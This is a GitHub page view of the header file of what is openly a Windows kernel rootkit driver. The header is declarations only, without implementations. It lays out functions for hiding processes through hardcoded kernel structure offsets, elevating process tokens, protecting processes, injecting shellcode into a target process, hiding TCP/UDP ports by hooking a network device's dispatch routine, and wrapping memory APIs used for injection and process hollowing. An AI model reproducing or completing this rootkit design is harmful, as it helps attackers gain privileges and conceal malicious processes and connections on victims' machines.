-
Notifications
You must be signed in to change notification settings - Fork 106
/
rootkit.hpp
155 lines (135 loc) · 3.46 KB
/
rootkit.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <ntifs.h>
#include <ntddk.h>
#include "debug.hpp"
#include "AutoLock.hpp"
#include "FastMutex.hpp"
#define ACTIVE_PROCESS_LINKS 0x448
#define TOKEN 0x4b8
#define UMAX 65535
struct NetInfo {
USHORT LTCP[UMAX];
USHORT RTCP[UMAX];
USHORT UDP[UMAX];
ULONG Count;
FastMutex Lock;
VOID Init() {
Lock.Init();
}
};
struct Shell {
UINT32 pid;
unsigned char* shellcode;
UINT32 size;
};
namespace Rootkit
{
NTSTATUS ProtectProcess(UINT32 PID);
PCHAR HideProc(UINT32 PID);
NTSTATUS ProcessElevation(UINT32 PID);
PVOID InjectShellcode(Shell* shell);
namespace NetHook
{
extern PDEVICE_OBJECT PreviousDevice;
extern PDRIVER_DISPATCH PreviousDispatch;
extern NetInfo Net;
NTSTATUS HidePort();
NTSTATUS HookDeviceIo(PDEVICE_OBJECT DeviceObject, PIRP pIrp);
VOID UnloadHook();
}
namespace MalKit
{
typedef struct ZwProtectVirtualMemoryStruct
{
HANDLE ProcessHandle;
PVOID* BaseAddress;
SIZE_T* NumberOfBytesToProtect;
ULONG NewAccessProtection;
PULONG OldAccessProtection;
} zwpvm_t;
NTSTATUS ZwProtectVirtualMemory(zwpvm_t* zwpvm);
typedef struct MmCopyVirtualMemoryStruct
{
ULONG SourceProcessPid;
PVOID SourceAddress;
ULONG TargetProcessPid;
PVOID TargetAddress;
SIZE_T BufferSize;
} mcvm_t;
NTSTATUS MmCopyVirtualMemory(mcvm_t* mcvm);
typedef struct ZwQueryInformationProcessStruct
{
HANDLE ProcessHandle;
PROCESSINFOCLASS ProcessInformationClass;
PVOID ProcessInformation;
ULONG ProcessInformationLength;
PULONG ReturnLength;
} zqip_t;
NTSTATUS ZwQueryInformationProcess(zqip_t* zqip);
typedef struct ZwUnmapViewOfSectionStruct
{
HANDLE ProcessHandle;
PVOID BaseAddress;
} zuvos_t;
NTSTATUS ZwUnmapViewOfSection(zuvos_t* zuvos);
}
extern "C"
NTSTATUS PsLookupProcessByProcessId(
HANDLE ProcessId,
PEPROCESS* Process
);
extern "C"
NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__in_bcount(ProcessInformationLength) PVOID ProcessInformation,
__in ULONG ProcessInformationLength);
extern "C"
_Must_inspect_result_
NTSYSAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken(
_In_ HANDLE TokenHandle,
_In_ BOOLEAN DisableAllPrivileges,
_In_opt_ PTOKEN_PRIVILEGES NewState,
_In_ ULONG BufferLength,
_Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_When_(PreviousState != NULL, _Out_) PULONG ReturnLength
);
extern "C"
NTSTATUS NTAPI MmCopyVirtualMemory
(
PEPROCESS SourceProcess,
PVOID SourceAddress,
PEPROCESS TargetProcess,
PVOID TargetAddress,
SIZE_T BufferSize,
KPROCESSOR_MODE PreviousMode,
PSIZE_T ReturnSize
);
extern "C"
NTSTATUS NTAPI ZwProtectVirtualMemory
(
IN HANDLE ProcessHandle,
IN PVOID * BaseAddress,
IN SIZE_T * NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection
);
extern "C"
NTSTATUS NTAPI ZwQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
extern "C"
NTSTATUS NTAPI ZwUnmapViewOfSection(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
}
namespace Utils
{
BOOLEAN FindLTCP(USHORT LTCP);
BOOLEAN FindRTCP(USHORT RTCP);
BOOLEAN FindUDP(USHORT UDP);
}